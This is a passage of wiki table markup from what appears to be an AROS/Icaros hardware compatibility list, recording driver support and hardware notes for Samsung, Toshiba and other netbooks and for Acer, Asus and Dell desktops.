! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| [http://www.amigaworld.net/modules/newbb/viewtopic.php?post_id=616910&amp;topic_id=33755&amp;forum=28#616910 NC10] || 945GME || {{N/A}} || {{maybe|SATA}} || {{yes|Intel GMA 950 (2D)}} || {{partial|SigmaTel HD Audio (playback only)}} || {{yes|USB}} || {{maybe|rtl8169 works but not Marvell 88E8040 sky2}} || {{yes|AR5007EG}} || 2011 Icaros 1.4,  || 2009 32bit - Nano silver on keyboard and lcd ribbon cable over hinge issues 
|-
| [http://www.sammywiki.com/wiki/Samsung_NC20 NC20] || VIA VX800 || {{N/A}} || SATA || {{maybe|VIA Chrome9 (VESA only)}} || ALC272 GR (VT1708A) HD Audio || {{yes|USB}} || {{no|Marvell 88E8040}} || {{yes|Atheros AR5001}} || untested || 2009 32bit - 
|-
| NP-N110 NP-N120 || 945GSE || {{N/A}} || SATA || {{yes|Intel GMA 950 (2D)}} || {{yes|ALC272 HD Audio or ALC6628}} || {{yes|USB}} || {{no|Marvell 88E8040}} || {{no|Realtek rtl8187}} || untested || 2009 32bit - Namuga 1.3M Webcam none
|-
| NP-N130 || 945GSE || {{N/A}} || {{yes|SATA in IDE mode}} || {{yes|Intel GMA 2D and opengl 1.x 99.5 tunnel 99 gearbox}} || {{yes|Intel HD with ALC272 ALC269 codec playback}} || {{yes|USB}} || {{yes|RTL 8169.device - 8101e 8102e}} || {{no|rtl 8192se rtl8187 too small an area to swap for atheros 5k}} || untested || 2009 32bit - 10.x inch 1024 x 600 - Namuga 1.3M Webcam - front slide power on and f2 setup bios - keyboard 17.7mm Pitch is made with Silver Nano (Anti-Bacterial) tech - small touchpad - 1 ddr2 2rx16 sodimm slot 2G max - 44Wh
|-
| &lt;!--Name--&gt;Go NP-N310 || &lt;!--Chipset--&gt;N270 + 945GME || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|IDE legacy mode}} || &lt;!--Gfx--&gt;{{yes|Intel GMA 950 (2D)}} || &lt;!--Audio--&gt;{{yes|HD Audio ALC6628}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|rtl8169}} || &lt;!--Wireless--&gt;{{yes|Atheros5k}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2010 32bit - N280 version changed specs 
|-
| NP-N510 || N270 euro N280 uk + ION MCP79 || {{N/A}} || SATA || nVidia C79 ION [Quadro FX 470M] || HD Audio || USB || Marvell 88E8040 || Realtek 8192E || untested || 2010 32bit - does not boot - cause unknown 
|-
| NP-N145 Plus || n450 + NM10 || {{N/A}} || {{maybe|IDE legacy mode}} || {{yes|Intel GMA 3150 (2D, no VGA output)}} || {{yes|Realtek HD Audio}} || {{yes|USB2.0}} || {{no|Marvell 88E8040}} || {{unk|Atheros AR9285}} || untested || 2010 some support but often the trackpad does not work 
|-
| &lt;!--Name--&gt;NC110 Axx || &lt;!--Chipset--&gt;NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;Sata || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;HDAudio with ALC269 codec A9M22Q2 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|Rtl8169}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4313 or Atheros}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2011 64bit - 
|-
| NF210 Pineview || n455 or n550 + N10 || {{N/A}} || {{maybe|SATA}} || {{maybe|Intel GMA 3150 (needs retesting, VESA works)}} || {{yes|HD Audio}} || {{yes|USB}} || {{no|Marvell 88E8040}} || Wireless || untested || 2011 64bit - some support 
|-
| &lt;!--Name--&gt;NS310 NP-NS310-A03UK || &lt;!--Chipset--&gt;N570 with NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe|use Vesa 2d }} || &lt;!--Audio--&gt;{{yes| ich7}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|rtl8169 realtek 810xe }} || &lt;!--Wireless--&gt;{{no|bcm4313 }} || &lt;!--Test Distro--&gt;2022 AROS One 2.3,  || &lt;!--Comments--&gt;2011 64bit Atom N570 or 1.5 GHz Intel Atom N550 dual core processor, 1 DDR3 sodimm slot memory, a 250GB hard drive, and a 10.1 inch, 1024 x 600 pixel 10.1&quot; W7St - 2300mAh short life - 
|-
| &lt;!--Name--&gt;[https://wiki.archlinux.org/index.php/Samsung_N150 N150] NB30 || &lt;!--Chipset--&gt;MN10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Yes|Intel GMA 3150 (2D)}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Marvell 88E8040}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285 or Realtek 8192E}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2011 a little support 
|-
| &lt;!--Name--&gt;[http://www.kruedewagen.de/wiki/index.php/Samsung_N220 N210 N220] N230 || &lt;!--Chipset--&gt;N450 + NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Yes|Intel GMA 3150 (2D)}} || &lt;!--Audio--&gt;HD Audio ALC269 || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Marvell}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2011 64bit no sse4.1 or avx -  
|-
| &lt;!--Name--&gt;NC110 Pxx Cedarview || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{dunno|Intel GMA 3600}} || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;{{No|Intel 6000g}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2012 64bit 
|-
|}


====Toshiba Netbooks====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;NB100 || &lt;!--Chipset--&gt;945GM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|legacy}} || &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;{{yes|ALC262 HD Audio}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{yes|rtl8169}} || &lt;!--Wireless--&gt;{{yes|AR5001}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit - 
|-
| &lt;!--Name--&gt;Mini NB200 series NB205 || &lt;!--Chipset--&gt;N280 + GSE945 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|IDE legacy mode}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;ALC272 HD Audio || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|RTL8169}} || &lt;!--Wireless--&gt;{{maybe|AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2009 32bit - 
|-
| &lt;!--Name--&gt;Mini 300 series NB305 || &lt;!--Chipset--&gt;N455 with NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA 3150 (2D) || &lt;!--Audio--&gt;ALC272 HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{maybe|RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{maybe|AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2010 64bit - 
|-
| &lt;!--Name--&gt;Mini 500 series NB505 NB520 NB550-10v || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA 3150 (2D) || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{maybe|RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{no|Realtek 8176 RTL 8188CE}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2011 64bit - 
|-
| [http://www.notebookcheck.net/Review-Toshiba-NB550D-AMD-Fusion-Netbook.46551.0.html Mini NB550D 10G] 108 (c30) 109 (c50) || C-50 + M1 || {{N/A}} || SATA || AMD 6250 (VESA only) || HD Audio || USB || {{maybe|rtl8169 Realtek 8111e}} || {{maybe|Atheros 9k}} || untested || 2011 64bit Realtek SD card reader 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Misc Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;30%&quot; |Comments
|-
| Cammy's A1600 || GME945 || {{N/A}} || {{maybe}} || {{yes|Intel GMA950 (2D)}} || {{yes|HD Audio playback}} || {{yes}} || {{no|JMC 250/260}} || Wireless || 2010 Icaros 1.2.4,  || 2009 32bit - 
|-
| &lt;!--Name--&gt;Fujitsu Siemens Amilo Mini Ui 3520 || &lt;!--Chipset--&gt;Intel 945 || &lt;!--ACPI--&gt; || &lt;!--SATA--&gt;{{yes}} || &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;ALC269 HD Audio || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|rtl8169}} || &lt;!--Wireless--&gt;{{yes|AR5001}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit -  
|-
| Guillemot Hercules eCafe EC-900 H60G-IA], Mitac MiStation and Pioneer Computers Dreambook Light U11 IL1 || Intel 945GME || {{N/A}} || {{maybe}} || {{yes|Intel GMA950 (2D)}} || {{Yes|HD Audio (playback only)}} || {{yes|uhci and ehci}} || {{yes|rtl8169}} || {{no|RAlink RT2860}} || untested || 2009 32bit - 
|-
| &lt;!--Name--&gt;Hannspree Hannsnote SN10E2 24 48 || &lt;!--Chipset--&gt;N450 + NM10  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;IDE legacy mode || &lt;!--Gfx--&gt;Pineview Intel (2D) || &lt;!--Audio--&gt;ALC HD Audio || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt;Atheros l1c || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2009 32bit - 
|-
| MSI Wind U90/U100 || GME945 || {{N/A}} || {{maybe}} || {{yes|Intel GMA 950 (2D)}} || {{partial|HD Audio ALC888s (playback only?)}} || {{yes|uhci 1.1 and ehci 2.0}} || {{yes|rtl8169}} || {{no|RaLink RT2860 RT2700E or rtl8187se (u100x)}} || 2011 Icaros 1.3,  || 2009 32bit - 
|-
| Advent 4211 || 945GSE || {{N/A}} || {{maybe|IDE legacy mode}} || Intel GMA950 (2D) || ALC HD Audio || USB || rtl8169 || {{no|Intel 3945 ABG}} || untested || 2009 32bit - MSI U100 clone
|-
| &lt;!--Name--&gt;Hannspree Hannsnote SN10E1 || &lt;!--Chipset--&gt;N270 + GMA945 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|IDE legacy mode}} || &lt;!--Gfx--&gt;{{yes|Intel GMA 950 (2D)}} || &lt;!--Audio--&gt;ALC HD Audio || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt;{{yes|Realtek RTL8101E RTL8102E RTL8169}} || &lt;!--Wireless--&gt;{{no|RaLink RT2860}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit MSI U100 clone 
|-
| &lt;!--Name--&gt; Vaio VGN-P11Z
| &lt;!--Chipset--&gt;
| &lt;!--IDE--&gt; {{dunno}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{Partial|Intel (VESA only)}}
| &lt;!--Audio--&gt; {{no|HD Audio}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Marvell}}
| &lt;!--Wireless--&gt; {{unk|Atheros AR928X}}
| &lt;!--Test Distro--&gt;2012 Icaros 2.0.3
| &lt;!--Comments--&gt;2008 32bit Rarely boots!
|-
| &lt;!--Name--&gt;Sony VPC-W11S1E
| &lt;!--Chipset--&gt;N280 with 945GSE
| &lt;!--IDE--&gt;{{N/A}} 
| &lt;!--SATA--&gt;{{Yes| }}
| &lt;!--Gfx--&gt;{{yes|Intel GMA950 - hdmi}}
| &lt;!--Audio--&gt;HD Audio with realtek codec
| &lt;!--USB--&gt;3 USB2 
| &lt;!--Ethernet--&gt;{{No|Atheros AR8132}}
| &lt;!--Wireless--&gt;{{unk|Atheros AR9285}}
| &lt;!--Test Distro--&gt;untested
| &lt;!--Comments--&gt;2009 32bit - 10.1&quot; 1366 x 768 glossy - 3hr battery life - 
|-
| &lt;!--Name--&gt;Archos 10 Netbook || &lt;!--Chipset--&gt;Atom with ICH7 NM10 945GSE || &lt;!--IDE--&gt;{{No }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio with ALC662 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2008 32bit - 
|-
| &lt;!--Name--&gt;MSI Wind U135 DX MS-N014 || &lt;!--Chipset--&gt;Intel N455 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|2D only accelerated}} || &lt;!--Audio--&gt;{{No|ALC662 rev 1}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Maybe|RTL}} || &lt;!--Wireless--&gt;{{No|Atheros AR 9K}}  || &lt;!--Test Distro--&gt;2015 Icaros 2.1,  || &lt;!--Comments--&gt;2009 32bit - needs noacpi notls added to grub boot line to start up 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

===Desktop Systems===

[[#top|...to the top]]


{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
| &lt;!--OK--&gt;{{Yes|'''Works well'''}} || &lt;!--May work--&gt;{{Maybe|'''Works a little'''}} || &lt;!--Not working--&gt;{{No|'''Does not work'''}} || &lt;!--Not applicable--&gt;{{N/A|'''N/A not applicable'''}}
|-
|}


====Acer====
{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;[https://www.acer.com/ac/en/ID/content/support-product/486;-; Veriton X270 VTX270] Intel Core 2 Duo ED7400C or Pentium dual-core UD7600C with 630i 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d Nvidia 7100 VGA and HDMI connections}}
| &lt;!--Audio--&gt;{{Maybe|  with realtek codec}}
| &lt;!--USB--&gt;{{Maybe|4 rear and 5 front}}
| &lt;!--Ethernet--&gt;{{Maybe| nForce}}
| &lt;!--Test Distro--&gt;Icaros 2.3 dvd 
| &lt;!--Comments--&gt;2009 64bit capable but would not fully boot, DHCP address timeout too short and failed often. Put in a third party NIC, worked - 1 PCI Express x16 slot and a free PCI x1 slot - internal thin long psu with 12pin - 
|-
| &lt;!--Name--&gt; Imedia S1710 with Intel Dual Core E5200
| &lt;!--IDE--&gt; {{Yes|SATA/AHCI}}
| &lt;!--SATA--&gt; {{Maybe|Native IDE}}
| &lt;!--Gfx--&gt; {{Yes|Nvidia nForce 7100}}
| &lt;!--Audio--&gt; {{Yes|Nvidia MCP73}}
| &lt;!--USB--&gt; {{Yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{No|NVIDIA MCP73 Ethernet}}
| &lt;!--Test Distro--&gt; Nightly Build 14-09-2023, AROS One 2.3
| &lt;!--Comments--&gt; 2009 64-bit - Boot over USB not working on front - 2 DDR2 dual channel max 8GB - DEL for entering Bios - F12 for boot menu - Bus weird, could be reason for Ethernet issue 
|-
| &lt;!--Name--&gt;Acer Revo AR1600, R1600 AR3600, R3600, Packard Bell IMAX Mini N3600, ACER Veriton N260G N270G slim nettop subcompact 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|Native IDE mode, '''when it works''' boots}}
| &lt;!--Gfx--&gt;{{Maybe|Nvidia ION GeForce 9300M - nouveau 3d - '''when it boots''' 400 fps in shell'ed gearbox, 278 in tunnel, 42 in teapot}}
| &lt;!--Audio--&gt;{{Maybe|HD Audio with alc662 codec but nothing from HDMI audio}}
| &lt;!--USB--&gt;{{Maybe|Nvidia USB boot usb2 stick issues and slower with usb3 drives}}
| &lt;!--Ethernet--&gt;{{No|MCP79 nForce}}
| &lt;!--Test Distro--&gt;ArosOne 32bit very often boot stuck around ehciInit, 64bit ...
| &lt;!--Comments--&gt;2009 64bit does not support AVX or SSE 4.1 Intel Atom 230 N280 - 20cm/8&quot; high 1 ltr noisy fan - DEL setup F12 boot options - 2 ddr2 sodimm slots max 4GB - 19v special barrel size 5.5mm/1.7mm psu - 2 ddr2 sodimm slots max 4GB - atheros 5k AR5BXB63 wifi - 3 wire CMOS coin battery - 
|-
| &lt;!--Name--&gt;Revo AR3610 R3610 3610 Atom 330 nettop subcompact dual core 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|Native IDE mode, '''when it works''' boots}}
| &lt;!--Gfx--&gt;{{Maybe|Nvidia ION GeForce 9400M LE MCP79MX 0x10de 0x087d - nouveau 3d - '''when it boots''' 400 fps in shell'ed gearbox, 278 in tunnel, 42 in teapot}}
| &lt;!--Audio--&gt;{{Yes|HD Audio with Realtek alc662 rev1 alc662-hd later ALC885 codec but nothing from HDMI audio}}
| &lt;!--USB--&gt;{{Maybe|Nvidia USB with 1% chance slow boot with usb2 sticks, more issues with usb3 drives}}
| &lt;!--Ethernet--&gt;{{No|RTL8211CL MCP79 nForce 0x10de 0x0ab0}}
| &lt;!--Test Distro--&gt;AROS One 32bit 1.5, 1.6 and 2.4 usb around ehciInit or Kernel SATA, etc try ATA=off, and 64bit 1.2 USB boot often stuck at device 0x00000000b05228c8 interrrupt by using noacpi noiopica 
| &lt;!--Comments--&gt;2010 64bit does not support AVX or SSE 4.1 20cm/8&quot; high 1 ltr noisy fan - non usb hub keyboard  - DEL bios setup, F12 BBS POPUP/drive boot - 2 ddr2 sodimm slots max 4GB - 19v barrel psu with smaller inner pin size 5.5mm/1.7mm - replace wifi RT3090 ver c (0x1814 0x3090) with atheros 5k - 3 wire CMOS coin battery - 
|-
| &lt;!--Name--&gt;Revo N281G
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe| }}
| &lt;!--Gfx--&gt;{{maybe|GMA 2d for GMA 3100}} 
| &lt;!--Audio--&gt;HD audio  codec 
| &lt;!--USB--&gt;USB2  
| &lt;!--Ethernet--&gt;Realtek  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit does not support AVX and SSE 4.1 Atom D425 - 19v 65w barrel psu thinner inner pin - 2 DDR3L single channel max 4GB - replace wifi RT3090 ver d with atheros 5k mini pci-e - 1lr or 1.5 ltr dvdrw case 209.89 mm, (D) 209.89 mm, (H) 35.35 mm - del enter bios - 3 wire CMOS coin battery - 
|-
| &lt;!--Name--&gt;REVO AR3700 R3700 3700 - ACER Veriton N282G 
*one long beep with two short - bios damaged 
*looping one long two short - video card fault 
*two short beeps - CMOS damaged 
*got one long and one short beep - board error?
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|IDE ready in Bios
* Known issue, boot into bios, set bios to UEFI and reboot, set bios back to defaults and reboot, blank display, repair with reflash of 8 pin Winbond W25Q socketed bios chip with ch341a using P01.B0L or P01.A4 renamed amiboot.rom}}
| &lt;!--Gfx--&gt;{{Yes|Nvidia ION2 GT218 9400M class 0x10de 0x0a64 with vga fine but hdmi fussy over cable and display port used - 32bit nouveau 2d &amp; 3d gearbox 404 tunnel 292 teapot 48 - 64bit not detected}}
| &lt;!--Audio--&gt;{{Yes|HDA Intel with Realtek ALC662 rev1 codec 0x10ec 0x0662, head phones only but nothing from NVidia HDMI 0x10de 0x000b}}
| &lt;!--USB--&gt;{{Yes|Intel® NM10 Express (NM10 is basically an ICH7 with a die shrink and IDE removed) USB boots usb, installs usb, accesses ok}}
| &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek rtl8111g}}
| &lt;!--Test Distro--&gt;AROS one 32bit USB 1.5 and 1.6 and ArosOne 64bit usb 1.2 
| &lt;!--Comments--&gt;2011 Atom D525 64bit does not support AVX or SSE 4.1 - 20cm/8&quot; high 1 ltr noisy fan - early 2 ddr2 sodimm slots but later 2 ddr3 sodimm slots 1Rx8 max 4GB - 19v barrel psu thinner pin - replace wifi RT3090 ver d with atheros 5k mini pci-e - cmos 3pin cr2032CL plastic wrapped - del bios f12 boot choice - 
|-
| &lt;!--Name--&gt;Revo 70 (RL70) with or without dvdrw 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;6320 or 6310 
| &lt;!--Audio--&gt;HD audio ALC662-VCO-GR codec 
| &lt;!--USB--&gt;USB2, 1.1 Hudson D1 
| &lt;!--Ethernet--&gt;Realtek 8111E 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 AMD E450 1.65GHz - 19v 65w barrel psu thinner inner pin - 2 DDR3L single channel max 4GB - replace wifi RT3090 ver d with atheros 5k mini pci-e - 1lr or 1.5 ltr dvdrw case 209.89 mm, (D) 209.89 mm, (H) 35.35 mm - del enter bios - 
|-
|}

====Asus====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;EEEbox B202
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Intel GMA950  
| &lt;!--Audio--&gt;Intel Azalia HDaudio with Realtek ALC662 or ALC888-GR CODEC 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111 or JM250 
| &lt;!--Test Distro--&gt;Icaros 
| &lt;!--Comments--&gt;internal 3 types of wifi chipset not supported 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}


====Dell====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt; Precision 340
| &lt;!--IDE--&gt; {{yes}}
| &lt;!--SATA--&gt; {{n/a}}
| &lt;!--Gfx--&gt; {{n/a}}
| &lt;!--Audio--&gt; {{yes|Intel AC97}}
| &lt;!--USB--&gt; {{yes|USB 1.1 (UHCI)}}
| &lt;!--Ethernet--&gt; {{yes|3Com}}
| &lt;!--Test Distro--&gt; Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Dimension 2400
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Yes|Intel 82845GL Brookdale G/GE (VESA 640x480 by 16)}}
| &lt;!--Audio--&gt;{{Unk|AC97 with ADI codec}}
| &lt;!--USB--&gt;{{Yes|UHCI EHCI}}
| &lt;!--Ethernet--&gt;{{Maybe|Broadcom 440x 4401}}
| &lt;!--Test Distro--&gt;[http://eab.abime.net/showthread.php?p=832495 Icaros 1.4]
| &lt;!--Comments--&gt;Graphics chipset is capable of higher resolution.
|-
| &lt;!--Name--&gt;Dimension 4600
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{dunno}}
| &lt;!--Gfx--&gt;{{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt;{{yes|Intel AC97 (use rear black port)}}
| &lt;!--USB--&gt;{{Yes|UHCI/EHCI}}
| &lt;!--Ethernet--&gt;{{yes|Intel PRO/100}}
| &lt;!--Test Distro--&gt;Icaros 1.5.2
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex 170L
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt; {{no|Intel AC97}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{yes|Intel PRO/100}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex GX260
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt; {{yes|Intel AC97}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Intel PRO/1000}}
| &lt;!--Test Distro--&gt; Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| Optiplex GX270
| {{yes|Working}}
| {{partial|IDE mode}}
| {{partial|Intel Extreme (VESA only)}}
| {{yes|Intel AC97}}
| {{yes|USB 2.0}}
| {{no|Intel PRO/1000}}
| Icaros 1.5.2
| &lt;!--Comments--&gt;
|-
| Optiplex GX280
| {{yes|Working}}
| {{partial|IDE mode}}
| {{maybe|Intel GMA (only VESA tested)}}
| {{yes|Intel AC97}}
| {{yes|USB 2.0}}
| {{no|Broadcom}}
| Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex GX520
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{yes|Intel GMA}}
